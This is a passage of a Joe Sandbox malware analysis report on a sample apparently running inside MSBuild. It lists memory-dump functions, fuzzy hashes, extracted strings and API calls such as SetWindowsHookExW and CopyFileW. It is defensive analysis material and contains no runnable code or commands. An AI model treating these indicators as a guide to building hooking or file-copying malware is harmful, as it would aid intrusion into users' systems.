Instruction ID: 557dd6c91947cf44be2661771ac1ac4ff007965c31ebb6806c01b1efd10d7dbd
Opcode Fuzzy Hash: 364816deee58540865d55c5825697037545000f2cf65882b06a78cfaa596cd23
Instruction Fuzzy Hash: D771A4B4E002198FDB44CFA9C980A9EBBF2BF88304F15C169E515AB369D734AD45CF54

Function 07074CE0 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 910ff940abe55bc673249d146d229f83984f129807d46a1df2ec35e0a5942f64
Instruction ID: 5ed54fdf22ea593c4014b1697685b2320ea23bb30e2bd0c3bb8b93f625ef07ac
Opcode Fuzzy Hash: 910ff940abe55bc673249d146d229f83984f129807d46a1df2ec35e0a5942f64
Instruction Fuzzy Hash: 8861D0B1D00659CFDB58DFAAC8482EDBBF2BF88315F14812AE415A7254E7780A86CF44

Function 08103EA7 Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

+, xrefs: 08103F38
Tekq, xrefs: 08103EF6

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: +$Tekq
API String ID: 0-1133559658
Opcode ID: 246c6e8c2adcf90a844ce966bf7a3303537b400f2942a105ba47f7a886a3aa73
Instruction ID: 3089468eb2bcfe0d1b9ee79a615da29850d5292e8b18bf0f659612939670eda8
Opcode Fuzzy Hash: 246c6e8c2adcf90a844ce966bf7a3303537b400f2942a105ba47f7a886a3aa73
Instruction Fuzzy Hash: 59315C31E012089FDB54CFA9D854AEEBBF2BF89321F149169E811BB3A0C7B55945CF90

Function 07070C6A Relevance: 2.6, Strings: 2, Instructions: 88COMMON

Download Yara Rule

Strings

B, xrefs: 07070D34
vU&9, xrefs: 07070CEF

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: B$vU&9
API String ID: 0-2146147127
Opcode ID: fe18f9b955e48578e7224d93344a4053257278963f242a38a28b47d8f1470046
Instruction ID: 9df93eb66512c4db718d9a82a675ef05d30f9cc99ab4e93d7a0856b8dc082503
Opcode Fuzzy Hash: fe18f9b955e48578e7224d93344a4053257278963f242a38a28b47d8f1470046
Instruction Fuzzy Hash: 513168B5E012499FCB05CFA8D9519DEBFB2EF89310F04816AE904AB361D7359905CF61

Function 07070C88 Relevance: 2.6, Strings: 2, Instructions: 74COMMON

Download Yara Rule

Strings

B, xrefs: 07070D34
vU&9, xrefs: 07070CEF

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: B$vU&9
API String ID: 0-2146147127
Opcode ID: 823d8e18716c0f6072c0087e4d7e0bc4bdac3d6b03e78c26b2f0093fff7b6fce
Instruction ID: 3d1f95004885b7358ae56d79b10d99bc0664ec47832f3629a43819982385d624
Opcode Fuzzy Hash: 823d8e18716c0f6072c0087e4d7e0bc4bdac3d6b03e78c26b2f0093fff7b6fce
Instruction Fuzzy Hash: E431B475E002199FCB44DFA9D9419EEBBB6FF88310F14C12AE914A7310DB31A955CBA1

Function 08103EB8 Relevance: 2.6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

+, xrefs: 08103F38
Tekq, xrefs: 08103EF6

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: +$Tekq
API String ID: 0-1133559658
Opcode ID: 84dcda3ad0351354205cdc354d77ca265d022308eec9672cdf25a7c8a3f5cbac
Instruction ID: 1ab396825342044efe62a08dd3586192f3232186ef8d9da8d531e1460a4088f9
Opcode Fuzzy Hash: 84dcda3ad0351354205cdc354d77ca265d022308eec9672cdf25a7c8a3f5cbac
Instruction Fuzzy Hash: A7213970E012089FDB18DFA9D894ADEBBF2BF88310F109129E801B73A0CBB55940CF94

Function 081054BF Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

q, xrefs: 081054ED
|, xrefs: 081054B5

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: q$|
API String ID: 0-36243396
Opcode ID: a838750dd9840a448cb1c60727798c794f59bf9a6621e72705d2a26e1aee4543
Instruction ID: 0fde6ebc2e5396d5ac2c7e2cae150ac743f6aad797e1e1e90003877eef7c6fcb
Opcode Fuzzy Hash: a838750dd9840a448cb1c60727798c794f59bf9a6621e72705d2a26e1aee4543
Instruction Fuzzy Hash: 3CF0F430D06308ABC715DFA9A9051ECBF71EF42312F50D0EAD844772A4EB710A4ACF51

Function 07349210 Relevance: 1.7, APIs: 1, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961811963.0000000007340000.00000040.00000800.00020000.00000000.sdmp, Offset: 07340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7340000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a8eee45dcf4f82b14b12cca68273428bd4d374fdf06ac0f11c74a2cfb91acb8
Instruction ID: bbefb4c1fabaebf98d746d6d4763a4ffb28dbf3a21f8c8ed4549652388d659bb
Opcode Fuzzy Hash: 9a8eee45dcf4f82b14b12cca68273428bd4d374fdf06ac0f11c74a2cfb91acb8
Instruction Fuzzy Hash: 3851F2B1C00249AFDF15CFA9C980ADEBFB5FF49310F14816AE818AB261D771A855CF90

Function 07349270 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 07349382

Memory Dump Source

Source File: 0000000C.00000002.2961811963.0000000007340000.00000040.00000800.00020000.00000000.sdmp, Offset: 07340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7340000_MSBuild.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: adc4c65cde8e6e26561f78ec5cd8d2ca01591adf962bc55675ed752a1bd15823
Instruction ID: 6407fbec948cab944deff3cd923061c686a04aac30e4dcd8820b80e5b9b985b1
Opcode Fuzzy Hash: adc4c65cde8e6e26561f78ec5cd8d2ca01591adf962bc55675ed752a1bd15823
Instruction Fuzzy Hash: 8C41B0B1D10359DFDB14CF9AC984ADEBBF5BF48310F24812AE819AB254D771A885CF90

Function 06EC30C0 Relevance: 1.6, APIs: 1, Instructions: 112COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,03D860D8,02E08310), ref: 06EC3166

Memory Dump Source

Source File: 0000000C.00000002.2959987406.0000000006EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6ec0000_MSBuild.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: ef47e280198e4bd91b12ebb2572ee67c66ea86607bd64b7dc4610a44b16fc5a6
Instruction ID: bd79bb94bf8b4cff11348311bcbc0c170053d13e6a4a774c912dd67722c177fd
Opcode Fuzzy Hash: ef47e280198e4bd91b12ebb2572ee67c66ea86607bd64b7dc4610a44b16fc5a6
Instruction Fuzzy Hash: DC41D1713502008FD784EB28D920BAA77A2FBC5610B10C56DE1468F3A8CF71EC0ACB91

Function 073472CC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0734BA81

Memory Dump Source

Source File: 0000000C.00000002.2961811963.0000000007340000.00000040.00000800.00020000.00000000.sdmp, Offset: 07340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7340000_MSBuild.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 564b79d1878705af0f025b710d16d6bc48ea028e58e5f7fecd75586e71420467
Instruction ID: 9c4cdf2b56b4b7638ba578aead5e63b6a47a01dd997bdb5bdfa60f877482545f
Opcode Fuzzy Hash: 564b79d1878705af0f025b710d16d6bc48ea028e58e5f7fecd75586e71420467
Instruction Fuzzy Hash: A44124F5A002099FDB14CF99C488AAAFBF5FF88314F248459E519AB321D770E841CBA0

Function 0703C618 Relevance: 1.6, APIs: 1, Instructions: 78fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 0703C6B9

Memory Dump Source

Source File: 0000000C.00000002.2960444343.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7030000_MSBuild.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 156b758d0220bbd491636f90c106095479cb1e93f1065693c4c9e76309ed92e6
Instruction ID: cdb172b793dde0f76a86a54d591395b4a676bc60d7fe8b5af6b7b1198bc2db55
Opcode Fuzzy Hash: 156b758d0220bbd491636f90c106095479cb1e93f1065693c4c9e76309ed92e6
Instruction Fuzzy Hash: 6C315EB1C012199FCB10CFAAD5847DEBBF4EF88310F14816AD818FB255D7349940CBA4

Function 0703C620 Relevance: 1.6, APIs: 1, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 0703C6B9

Memory Dump Source

Source File: 0000000C.00000002.2960444343.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7030000_MSBuild.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 8ffbac902fd450e2d3286d322eed09924e2656a5cb13e523b104decaabbac7b7
Instruction ID: adbd0243b66de0f27b655c85f52b9209cba5d34492fa178f9ece9eec0c6e023d
Opcode Fuzzy Hash: 8ffbac902fd450e2d3286d322eed09924e2656a5cb13e523b104decaabbac7b7
Instruction Fuzzy Hash: 302139B1C012199FDB50CFAAD5847DEBBF4AF48320F15816AD818FB255D7349940CBA4

Function 0735EE50 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 0735EECB

Memory Dump Source

Source File: 0000000C.00000002.2962108525.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7350000_MSBuild.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: a15ed15c514ba15813e66c4fcbcf42b1827be2a9cf84b6b70dd86319863025af
Instruction ID: 9833d2bd057d6fe2e69dab5a832b613debf1163ec07bfeb4e24ec8e6d7ee9f21
Opcode Fuzzy Hash: a15ed15c514ba15813e66c4fcbcf42b1827be2a9cf84b6b70dd86319863025af
Instruction Fuzzy Hash: 742115B19102199FDB14DF9AC944BEEBBF5AB88320F10842AD459A7260C774A940CFA4

Function 081031A8 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

Tekq, xrefs: 081031EF

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: dc95a54402b3336c042832b27cda2ccc2575ea1027111a5a2cd438aebe7a64ec
Instruction ID: e763b8b06bf57f226efba65a7fcf261c42f0b5a7d297f23ab5131f1116fde1a8
Opcode Fuzzy Hash: dc95a54402b3336c042832b27cda2ccc2575ea1027111a5a2cd438aebe7a64ec
Instruction Fuzzy Hash: A5410475E002089FCB44DFA9D884ADDBBF2BF89310F249129E805BB360DB74A941CF65

Function 081031B8 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

Tekq, xrefs: 081031EF

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: Tekq
API String ID: 0-2319236580
Opcode ID: 35d86951aa2f4e7706368600ee77fab78c96c9134766e9979a730d07af385ead
Instruction ID: 569927cf04ccc2e727e2758e98763ee69c22a669279e6e3b1dc2e7c716279d82
Opcode Fuzzy Hash: 35d86951aa2f4e7706368600ee77fab78c96c9134766e9979a730d07af385ead
Instruction Fuzzy Hash: 8B31F275E002089FDB44DFA9D884ADDBBF2BF89310F108129E815BB360DB74A945CF65

Function 0707BD70 Relevance: 1.3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

8, xrefs: 0707BDD2

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 28f2fa2827f2bf9a334fab00a23ac6d391e8d62be94707ae849ddfdecd74fefd
Instruction ID: e55a729a386496278f06a65966c484ddc18e0e9825640864df998bc1a9a449aa
Opcode Fuzzy Hash: 28f2fa2827f2bf9a334fab00a23ac6d391e8d62be94707ae849ddfdecd74fefd
Instruction Fuzzy Hash: 373147B1E01209AFCB04DFA8E8849DDBBB2FF88310F109229E414B7364DB30AC45CB94

Function 0707BD80 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

8, xrefs: 0707BDD2

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: d26e183ec461eddc61a97037127b64a0a91e9767f821ab08e000fa96ed0fef1a
Instruction ID: 9c910c1e4b884ed4e20e27ac5a95f276f8633437a3ceb9d25addd232c19fe765
Opcode Fuzzy Hash: d26e183ec461eddc61a97037127b64a0a91e9767f821ab08e000fa96ed0fef1a
Instruction Fuzzy Hash: DF21E870E01219ABCB04DFA9E9949DDFBB6FF89310F109629E415B7354DB30A845CB94

Function 0707E83A Relevance: 1.3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

Strings

&, xrefs: 0707E890

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: ffed061b2d65a1bcc3fd76541d7a05828a74269482f3877f7702d1dd3bbd329b
Instruction ID: f7ca15a1ac8c22aa1d1fc56f92d473c116d4f3d1c87f01454f24142d64d02e52
Opcode Fuzzy Hash: ffed061b2d65a1bcc3fd76541d7a05828a74269482f3877f7702d1dd3bbd329b
Instruction Fuzzy Hash: 91212CB1D012189BCB48DFA9E8849DDBBF2FF88324F149226E819B7350DB345941CB58

Function 07073540 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

|, xrefs: 070735B1

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 20824c26f6093216e86e37bf8b414f39d4629f13d47d94f5a1d5e8869dff373e
Instruction ID: 368b5b6f6ba01b1b15207bab12f154a22cebd52059485a930c8469f36c169c54
Opcode Fuzzy Hash: 20824c26f6093216e86e37bf8b414f39d4629f13d47d94f5a1d5e8869dff373e
Instruction Fuzzy Hash: 010128B0D02209EFCB54DFA9E545A9CFFB0FB44300F5082AAE808A3754E7359A44DB85

Function 02D2F03A Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

^, xrefs: 02D2F067

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 31522ff5a94bccba0a2c081eaf5e927dbbca4c6aa06b6e2e7dc022c80edf412c
Instruction ID: b0fc7f65436359c1423d57db1a23e56423feb52fa927933de9bec42501f78222
Opcode Fuzzy Hash: 31522ff5a94bccba0a2c081eaf5e927dbbca4c6aa06b6e2e7dc022c80edf412c
Instruction Fuzzy Hash: 04F0A776D163049FC750DF74E40A368BBB4EB65309F1094E59C4893254E6318A458741

Function 0707357F Relevance: 1.3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

Strings

|, xrefs: 070735B1

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 879b107a6f72cb47bc7f4f51cf6fde4c8f2b41a8bae95bad6911526e53e5e464
Instruction ID: 9b4d66c25e11904e438dc6d82fae328ddc347961e8bac7f2029aa655f481488d
Opcode Fuzzy Hash: 879b107a6f72cb47bc7f4f51cf6fde4c8f2b41a8bae95bad6911526e53e5e464
Instruction Fuzzy Hash: 27F01574D01348AFCB84DFBAE44569DBFF4AF49200F5081AAD89892610EA385A42DF45

Function 07073590 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

|, xrefs: 070735B1

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: ef9c76300a44018963bb3c37af7046f782a11eddb5c8d4bd9a1301f876422e45
Instruction ID: 15f78d1b250b373f3a38c3b3b71dbaf66f70a14c2f939ad975e180e5f6be7ad0
Opcode Fuzzy Hash: ef9c76300a44018963bb3c37af7046f782a11eddb5c8d4bd9a1301f876422e45
Instruction Fuzzy Hash: 1CE0E5B0E01208EFCB84DFAAD50569CBBF0AB48210F50C1AAD81893314EB349A40DF45

Function 081054D0 Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

q, xrefs: 081054ED

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID: q
API String ID: 0-4110462503
Opcode ID: 6106af83196cc8c816839bfb4e1307b585ceb42b124276d4550ec85ba67e7d02
Instruction ID: e3b0605598d9506cc3c6bc9c1f0c2b421380c4dafdaee056c8cd8226860d3086
Opcode Fuzzy Hash: 6106af83196cc8c816839bfb4e1307b585ceb42b124276d4550ec85ba67e7d02
Instruction Fuzzy Hash: D4D05E30D0620CDBC714DFEAE9095ADBF75EF42312F50D1A9E80863254EB724A49DF95

Function 02D2F55A Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d21ba5959d9b89e36a100f0784d18b858ffb819897562fd576d4aad42ef96657
Instruction ID: 2c57b8e8c2bb16a8edea6fd467185e04598cc0e0de7067026a5adf79460afeab
Opcode Fuzzy Hash: d21ba5959d9b89e36a100f0784d18b858ffb819897562fd576d4aad42ef96657
Instruction Fuzzy Hash: 7AB1EF74E012088FCB14DFA9D588A9DBBF2FF48304F24D169E419AB355DB34A945CF54

Function 02D2F568 Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e21bec320dd396f087ce7e9d73774edafef4da35355e20471f0390592d685a5
Instruction ID: 414a4e4ec0184018cb3d756a11811cc091363f03347475d544499eb76974dd8d
Opcode Fuzzy Hash: 4e21bec320dd396f087ce7e9d73774edafef4da35355e20471f0390592d685a5
Instruction Fuzzy Hash: 66B1EF78E012088FCB14DFA9D588A9DBBF2FF88304F24D169E419AB355DB34A945CF54

Function 0707FB9A Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6f742db75a39c0fe085f6cde5afeb30a33c0b862f9d63d4484d55c79305ff34
Instruction ID: 54afbf5e5e8bc50a85ea1b30030c8b049bce79edf75bef46405ad5ac3cabebcb
Opcode Fuzzy Hash: f6f742db75a39c0fe085f6cde5afeb30a33c0b862f9d63d4484d55c79305ff34
Instruction Fuzzy Hash: 7D6190B5E0110ACFC714CF68D980AADB7F6BF4A300F149A69D419EB395DB34A982CF54

Function 0707AC61 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2ee36642fddd454d060a6384f22f0612b5333a528b3533b258e9392e6474ab2
Instruction ID: 27fcfcc892d5e75b8a85160b5bd73c0eaaa290ef18c16858a47945503f3e0866
Opcode Fuzzy Hash: b2ee36642fddd454d060a6384f22f0612b5333a528b3533b258e9392e6474ab2
Instruction Fuzzy Hash: DC51B2B5E012198FDB54DFA9D884A9DBBF2BF88300F14C22AE819EB355DB349941CF54

Function 02D2AE5F Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1de187c91d6ea445f59940a07d2a35ff3acc69c6a0bd12f0542c9fb5dc6d8a53
Instruction ID: 6aa8f39e9f5232c5da99f4e93b8b5ec617641d4b4851097c74b6fb20e22bb853
Opcode Fuzzy Hash: 1de187c91d6ea445f59940a07d2a35ff3acc69c6a0bd12f0542c9fb5dc6d8a53
Instruction Fuzzy Hash: 62415675E012188FCB10CFA8C4885ADFBB2FF9A319F14A515E409A7394C7399D86CF54

Function 0707092C Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6917fab80884a9ac287b244d1f2a56e7bcd0bbe54ed8d4d61fb45f918f8e994d
Instruction ID: 53f23aacaaeb5af8f3b8933646bd757fb0f483bbf11ccf644d5da94074a6ff17
Opcode Fuzzy Hash: 6917fab80884a9ac287b244d1f2a56e7bcd0bbe54ed8d4d61fb45f918f8e994d
Instruction Fuzzy Hash: 2841C474E012199FDB50DFA8C980B9EBBB1FB49310F108695E549A7391DB30AA85CF50

Function 07072A70 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 181be8b68e3c0ecc889c2d5c714bb8779422c4e5975d9118d8c3f4c30f575cd9
Instruction ID: 47e26bb6b1ea6ba43863b6054a0c5d183492a755bdc0310ccfc8255a1b4559d9
Opcode Fuzzy Hash: 181be8b68e3c0ecc889c2d5c714bb8779422c4e5975d9118d8c3f4c30f575cd9
Instruction Fuzzy Hash: 9E316B70D01209DBCB14DFE9D584AEEFBB6BF8A310F109129E815BB294DB749945CB84

Function 02D2EE00 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb1c02131acb4349c7a1e7b239446bc5c92b999c641051fbcc618c154361d099
Instruction ID: f3a9e8111650a4514c5893b63ec29b72e8e81a3772a955b112c69b28913bc0e2
Opcode Fuzzy Hash: bb1c02131acb4349c7a1e7b239446bc5c92b999c641051fbcc618c154361d099
Instruction Fuzzy Hash: 5D41CF74D0021ADFCB00CFA9D4849EEBBB1BF48314F149166E814A7264EB34AA89CF91

Function 02D2AD58 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd386d942444da1678f52f5574f60958e8a17ad174483d358a19398933661e4
Instruction ID: f40be576fdcd977ef18b3fed943e240c3e56bbe16be06e67c1fceb7ff436aba7
Opcode Fuzzy Hash: 1bd386d942444da1678f52f5574f60958e8a17ad174483d358a19398933661e4
Instruction Fuzzy Hash: 05312675D002088FCB08CFAAD88469DFBF2BF89304F14D129E845AB398DB349945CB14

Function 02D2AD68 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98d0f8e54c90bf5b5041abd53003cbb605c86a62f78d2a362396218d28b99acc
Instruction ID: eb58d458ba6a2b0ae67be1ef8dd9f9787a9ff50d85956ec90fd117c26613ece6
Opcode Fuzzy Hash: 98d0f8e54c90bf5b5041abd53003cbb605c86a62f78d2a362396218d28b99acc
Instruction Fuzzy Hash: DF310275E002188BDB08DFAAD4846DDFBF2BF89314F14D229E845AB398DB359985CB14

Function 010CD614 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915645447.00000000010CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10cd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb2f592c96e0aa11087de4983b85b8ba76dfd69536528c2e89850153cb309b6d
Instruction ID: 6665fbf4ef8d58c7cdf981a6e2e164cb13204f9f4616a8dd7d20864a5d63a0eb
Opcode Fuzzy Hash: eb2f592c96e0aa11087de4983b85b8ba76dfd69536528c2e89850153cb309b6d
Instruction Fuzzy Hash: 6821E275504240DFCB059F98D984B2ABFA5FB8C714F2486BDE98D0A256C336D416CFA1

Function 010CD4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915645447.00000000010CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10cd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
